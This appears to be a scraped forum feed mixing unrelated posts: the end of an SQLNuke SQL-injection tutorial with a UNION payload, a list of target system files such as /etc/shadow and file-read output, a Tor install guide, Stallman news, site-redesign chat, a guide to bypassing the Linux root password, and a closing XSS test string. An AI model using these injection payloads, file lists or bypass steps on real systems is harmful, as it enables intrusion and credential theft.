C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build [+] Saved files are in 'output/localhost' As you can see in the output after running the script, it fuzzes known system information, log files and configurations for Linux and Windows. You can also use ./sql.rb -u ‘http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4? –os linux if the web server runs on LAMP (Linux Apache MySQL PHP/Perl/Python) so that you don’t need to fuzz on files like C:/wamp/bin/apache/logs/access.log, C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf, C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf, and C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build, which is basically for Windows that runs on a WAMP server. Files that can be looked up using the load_file() function are stored on the output/target_name directory. For example: root@bt:~/sqlnuke# cd output/localhost root@bt:~/sqlnuke/output/localhost# ls _etc_apache2_apache2.conf _etc_apache2_sites-available_default _etc_hosts _etc_apache2_httpd.conf _etc_group _etc_passwd root@bt:~/sqlnuke/output/localhost# cat _etc_hosts 127.0.0.1 localhost 127.0.1.1 bt.foo.org bt # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters ff02::3 ip6-allhosts There are other known system files, configurations, and log information that need to be looked up if you want to add more files that needs to be fuzzed. To do so, you can edit the inputs/packset.lst file under the main directory of SQLNuke. As of now these are the files that are included in packset.lst: :linux: - /etc/passwd - /etc/shadow - /etc/group - /etc/hosts - /etc/apache2/logs/access.log - /etc/httpd/access.log - /etc/init.d/apache/httpd.conf - /etc/init.d/apache/httpd.conf - /etc/init.d/apache2/httpd.conf - /usr/local/apache2/conf/httpd.conf - /usr/local/apache/conf/httpd.conf - /home/apache/httpd.conf - /home/apache/conf/httpd.conf - /opt/apache/conf/httpd.conf - /etc/httpd/httpd.conf - /etc/httpd/conf/httpd.conf - /etc/apache/apache.conf - /etc/apache/httpd.conf - /etc/apache2/apache2.conf - /etc/apache2/httpd.conf - /usr/local/apache2/conf/httpd.conf - /usr/local/apache/conf/httpd.conf - /opt/apache/conf/httpd.conf - /home/apache/httpd.conf - /home/apache/conf/httpd.conf - /etc/apache2/sites-available/default - /etc/apache2/vhosts.d/default_vhost.include - /var/www/vhosts/sitename/httpdocs//etc/init.d/apache :win: - C:/wamp/bin/apache/logs/access.log - C:/wamp/bin/mysql/mysql5.5.24/wampserver.conf - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf - C:/wamp/bin/apache/apache2.2.22/conf/wampserver.conf - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build - C:/wamp/bin/apache/apache2.2.22/conf/httpd.conf.build Now let’s try adding /etc/tsocks.conf and /etc/pnm2ppa.conf after the line ‘/var/www/vhosts/sitename/httpdocs//etc/init.d/apache’ and before the line ‘:win:’, then launch SQLNuke with our current target: root@bt:~/sqlnuke# ./sql.rb -u 'http://localhost/sqlnuke.php?id=1+union+select+1,XxxX,3,4' --os linux [!] localhost folder already exists [!] Selected OS linux [200] - [Success] /etc/passwd [200] - [Failed] /etc/shadow [200] - [Success] /etc/group [200] - [Success] /etc/hosts [200] - [Failed] /etc/apache2/logs/access.log [200] - [Failed] /etc/httpd/access.log [200] - [Failed] /etc/init.d/apache/httpd.conf [200] - [Failed] /etc/init.d/apache2/httpd.conf [200] - [Failed] /usr/local/apache2/conf/httpd.conf [200] - [Failed] /usr/local/apache/conf/httpd.conf [200] - [Failed] /home/apache/httpd.conf [200] - [Failed] /home/apache/conf/httpd.conf [200] - [Failed] /opt/apache/conf/httpd.conf [200] - [Failed] /etc/httpd/httpd.conf [200] - [Failed] /etc/httpd/conf/httpd.conf [200] - [Failed] /etc/apache/apache.conf [200] - [Failed] /etc/apache/httpd.conf [200] - [Success] /etc/apache2/apache2.conf [200] - [Success] /etc/apache2/httpd.conf [200] - [Success] /etc/apache2/sites-available/default [200] - [Failed] /etc/apache2/vhosts.d/default_vhost.include [200] - [Failed] /var/www/vhosts/sitename/httpdocs//etc/init.d/apache [200] - [Success] /etc/tsocks.conf [200] - [Success] /etc/pnm2ppa.conf Success! The files /etc/tsocks.conf and /etc/pnm2ppa.conf have just been fuzzed and can be looked up using the load_file() function. Cool, right? Conclusion With SQLNuke, it is easier for us to look up the internal common files by using a list file which can be found under inputs/packset.lst. It is also easy to use – it fuzzes known files faster and stores the files that were found on the output directory so that you don’t need to type them on the browser. Great tool indeed! Thank you nuke99 for your contribution to the penetration testing community! I also hope to see this project mature and grow. References: http://blog.rootcon.org/2012/03/sql-injection-using-mysql-loadfile-and.html (my old article about SQL Injection Using MySQL LOAD_FILE) http://www.w3resource.com/mysql/string-functions/mysql-load_file-function.php http://nuke99.github.com/sqlnuke/ http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_load-file Sursa: http://resources.infosecinstitute.com/sqlnuke-simple-but-fast-mysql-injection-load_file-fuzzer/

[h=1]Installing TOR On Ubuntu Linux[/h] Posted on March 20, 2013 by infodox Seeing as Ubuntu is one of the most commonly used Linux distros around, and because I cannot be bothered getting a Fedora .iso, and because these instructions work fine for Debian also, here goes! (yes, in the images I am using BT5, which is basically Ubuntu) To get your distribution name, the command “lsb_release -c” will tell you. This is important. First off, add the appropriate repository to your /etc/apt/sources.list file. Essentially this command: sudo echo “deb http://deb.torproject.org/torproject.org <DISTRIBUTION> main” >> /etc/apt/sources.list Adding TOR repo Next, we import the tor project GPG keys. I advise being root when doing this. gpg –keyserver keys.gnupg.net –recv 886DDD89 gpg –export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - Adding GPG keys sudo apt-get update to refresh your package lists… Update Package List Now we install the torproject keyring. apt-get install deb.torproject.org-keyring Installing Keyring Install TOR itself and the Vidalia GUI… It will prompt to add a user to the group so select your username!!! apt-get install vidalia tor polipo Installing TOR Now, we check is Vidalia working OK or are we already fscked. By running it. Vidalia Works If it looks like that, you are good to go Again, as per TOR Setup – Windows | Insecurety Research , just set proxy settings in your browser to use 127.0.0.1 and 9050 as the port and you should be good to go! Next up: Installing TORbutton The observant ones will note the dates on the screenshots are old: I had originally made this guide for some friends who wanted it, and then I decided to publish it openly because, reasons. Sursa: Installing TOR On Ubuntu Linux | Insecurety Research

[h=1]Richard Stallman says Ubuntu Linux is 'spyware'[/h]Asks South American free software association not to promote it at events By Egan Orion Mon Mar 25 2013, 12:49 FREE SOFTWARE PIONEER Richard Stallman has asked a South American free software association not to promote Ubuntu Linux at its events because it "spies on its users" by collecting its users' desktop search activity and selling the data to Amazon. Canonical released Ubuntu 12.10 last October with Amazon search integrated into its Dash desktop search function. Although Ubuntu users can opt out and Canonical claims it anonymises users' search information before sending it to Amazon, the change resulted in Ubuntu users being shown Amazon ads in response to desktop search queries. The 'feature' has attracted a lot of criticism and might have led some users to defect to other Linux distributions. When Stallman's request was denied by the FLISOL event organiser with the excuse that it would limit user freedom of choice, Stallman fired off a response to the organisation's entire mailing list on Sunday. Parts of his email are quoted below, as translated by Groklaw. "The issue I raise is about what should happen at FLISOL events. Give away copies of Ubuntu or not? Promote Ubuntu or no? I asked the organisers of the event that they, as a policy, not distribute or promote Ubuntu. "Freedom of users is something else, and there isn't a conflict between a user's freedom and my request. If someone decides to install Ubuntu, I would consider it a mistake, but it's his own choice to do it. What I ask is that you don't participate, help or suggest that he do it. I didn't request that you block him from doing so. "As a matter of principle, I don't believe anyone has a right, morally, to distribute proprietary software, that is, software that deprives the users of freedom. When the user controls his own software, he can install what he wants and no one can stop him. But today's issue isn't about him, what he does, but rather what you do with him." As Stallman sent his email only yesterday, it's not yet known whether FLISOL has reconsidered promoting Ubuntu at its free software events. These points might seem like splitting hairs, but apparently Richard Stallman - the author of the GNU General Public Licence (GPL), as well as the founder and president of the Free Software Foundation - is serious about them. Sursa: Richard Stallman says Ubuntu Linux is 'spyware'- The Inquirer

Multumim Gecko, acum si blogul este verde.

Astia carora le apare eroarea, spuneti si ce NU E OK. Vedeti daca sunt fix 20 de topicuri, daca toate au titlu si daca la toate apare categoria si autorul. La care nu apare, spuneti-mi si mie. Ca asa eroarea in sine nu ajuta la nimic.

Pula mea, le-am mai colorat putin, nu ma pricep. Partea cu chat-u se poate pune, doar sa creez iframe la click pe buton, ca daca nu, o sa "se logheze" pe chat, toti care intra pe homepage. Iar cu AJAX-ul e mai nasol, ca unele chestii le iau cu external.php iar ultimele posturi le citesc eu manual din DB. O sa vad ce e de facut, doar ca diseara e meciu, deci probabil pauza "features"

Pentru tema am primit ceva "verde" de la Gecko. Legat de search merge, dar cred ca cel de la vBulletin e cel mai ok.

1. O sa pun fontul mai mic, sa vedem cum iese 2. O sa scot formele patratoase daca arata mai bine rotunjite 3. Verific momentan doar daca daca e bifat "show avatar" nu si daca exista, o sa rezolv, sper 4. Link-urile mai deschise la culoare si toate sa aiba target="_blank" desi posturile/stirile au deja 5. Legat de chat, pare ok, o sa ma uit. 6. Legat de AJAX, eu ma gandisem la ceva elegant, care sa adauge doar posturile noi, nu sa faca un refresh la toate ultimele posturi, ultimele stiri... Dar e o versiune simpla si acceptabila. Tema e asta: WordPress > deCoder De preferat sa ramana tot asa, gradient.

Vreti prea multe Cand am timp o sa mai fac cateva modificari: 1. Font-ul era cam mare, asa mi s-a parut, de aceea am scos linia 2. O sa pun chestiile alea sa nu mai fie asa patratos 3. O sa verific de ce nu merg imaginile de profil la unii utilizatori 4. O sa deschid link-urile la culoare 5. Chatul nu prea vad unde sa il pun, e prea mare el in sine pentru a fi bagat pe acolo Probabil nu o sa fac update "real-time" cu AJAX la topicuri si posturi pentru ca o sa imi ia ceva timp si nu prea am. Legat de BLOG, da, aveam de gand sa il fac din albastru verde insa nu stiu daca o sa imi iasa. Se ofera cineva sa faca blog-ul VERDE?

Encrypt your harddisk.

Reset Linux root password without knowing the password -By Vaibhav Kaushal So there it goes - Linux is a secure OS. No, really it is. Despite the title of this post, Linux is actually a secure system. Before we proceed to the main topic, let us consider a few points: Linux is flexible to a very large extent. Linux's administrator account is called 'root'. Linux systems never deny access to any resource whatsoever to the root account. If there are any restrictions in place, the root can remove those as well. The root account can set and change the password of any user. To change the password of root, you need to first login as root! It is the 5th point where the problem is. Much like in Windows, you would get locked out of the system. But since Linux is not (as pathetic as) Windows, there are ways to work around it. Let us see some of them. Method 1 - Use 'sudo su' In many systems, a normal user which is added to the system is also added to the list of sudoers. These users can gain the power of root account by running a command prepended with the word sudo. So if the person passes sudo passwd root or passes sudo su to first get the root power and then run the passwd command, he or she would be able to reset the root password. Simple. Easy. Effective. But this does not work everywhere Method 2 - recovery mode The sudo su method works on many systems, but not all. It would work on Ubuntu systems most of the time but other distributions like OpenSUSE, Fedora, Sabayon etc. may not be able to use it because they either do not put the normal users in the list of suoders or they want the password of root (not the same normal account) to give root power. On such systems, one can use the recovery console to reset root password. To do so, one can select 'recovery menu' in the boot menu. Normally every Linux distribution that gets installed will install a 'recovery mode' or a 'failsafe mode' boot entry which allows the user to boot into runlevel 1 where only the root can login. The user can then pass the command passwd to reset the password. Method 3 - override the init file! The recovery mode thing cannot work always because many systems (or should I say 'most' systems) will ask for the root password for logging in. Now, since you do not know the root password in the first place, that trick will fail. In such a case, you can try this: In the boot menu, highlight your Linux menu entry (not the one for recovery mode, but for the normal one) and press 'e' key on the keyboard. This will start an editor where you can change the boot parameter. In most new Linux systems, Grub2 comes as the boot loader. In such systems, the boot menu entry would be a bit complicated. So you might get intimidated by what you see at first. Do not worry, search for the line which starts with the word 'linux'. It would look something like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts You have to add this to the end of that line: init=/bin/bash. So the line will start looking like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts init=/bin/bash Now press the F10 button (or whatever is being shown on the screen for the booting) to boot the system. NOTE: If you do not have Grub2, but a lower version of grub then you should search for the line starting with the word 'kernel' instead of 'linux'. Also, you would have to press the 'b' key to boot the entry in that case. When you boot like that, you would be given the root prompt. You can then run the command passwd root to change the root password. The reason why this happens is because normally when a Linux system boots, the kernel is loaded first. After the kernel is loaded, it loads the ramdisk and gets ready for continuing the rest of the booting. Once it is ready, it runs the init command (usually located at /sbin/init) which would run the rest of the system. When you pass init=/bin/bash to the kernel, it will not load /sbin/init file for booting; instead it will load /bin/bash file which starts the bash shell with the root user's power (because the kernel itself called it) and hence that prompt would allow you to change the root user's password. Actually, this prompt had more power than anything else on Linux because it is running with all the privileges of the system! Method 4 - the ultimate method - change the password hash If none of the above works for you then you can take help of another Live Linux CD/DVD to change the root password. This method is long and is a step by step process. You should follow it carefully. Here are the steps (we will consider that the installed system was OpenSUSE and the Live DVD was that of Ubuntu): Boot into the Live Linux system (Ubuntu) using the DVD. Once the system is up, go to the terminal and type 'sudo su'. This will get you to the root user. Now, mount the partition of the disk which contains the /etc directory of the installed system (i.e. the root partition of the OpenSUSE installation on disk). Usually, it would be /dev/sda1 or /dev/sda2 etc. You would know it better. Assuming it was on /dev/sda2, run the command: mkdir /tmpmnt mount /dev/sda2 /tmpmnt Above command will mount your installed system's root partition on /tmpmnt directory of the live system. Now you run the command: 'passwd root'. It will ask for password twice. Enter the password and remember the password well! Open the file /etc/shadow of live system (use vim or nano) and search for the line which begins with the word 'root'. It will look something like this: root:$6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/:15609:::::: Now, the gibberish you see after the first colon is your password hash. Copy that hash. (In this case, the hash is $6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/ Open the /tmpmnt/etc/shadow file and search for the line that begins with 'root'. It will look very much similar to what you saw in step 6. Replace the existing hash in this file (/tmpmnt/etc/shadow) with the one you have copied (from /etc/shadow); i.e. you have to delete the existing text after the first colon in the file /tmpmnt/etc/shadow and paste the copied hash there! Save the file and reboot the system to the installation on the disk. Try to login as root and use the password as what you had used in step 5. You should be able to login! Viola, you have successfully changed the password! The last trick is the master trick of them all. If none of the steps work for you (try them in the order they have been mentioned), please let us know what issues you are facing in the comments. OR you can register at the site and ask specific questions in the forums. Sursa: Reset Linux root password without knowing the password

Am pus 2px intre <li>-uri. In afara de micile detalii care difera de la om la om, ca functionalitate, ce ati vrea sa mai apara pe acolo?

Veniti si cu sugestii pentru fonturi. PS: Daca veniti cu un font valid de "Microsoft Windows TrueType Font CVE-2012-4786 Remote Code Execution Vulnerability" aveti o sticla de whiskey de la mine :->

Avem, dupa secole, un nou homepage: https://rstforums.com/ Multumim Gecko pentru design! Asteptam sugestii atat legate de functionalitate cat si de design. Speram sa nu fie probleme.

"><script>alert('TEST');</sc<!--Z-->ipt>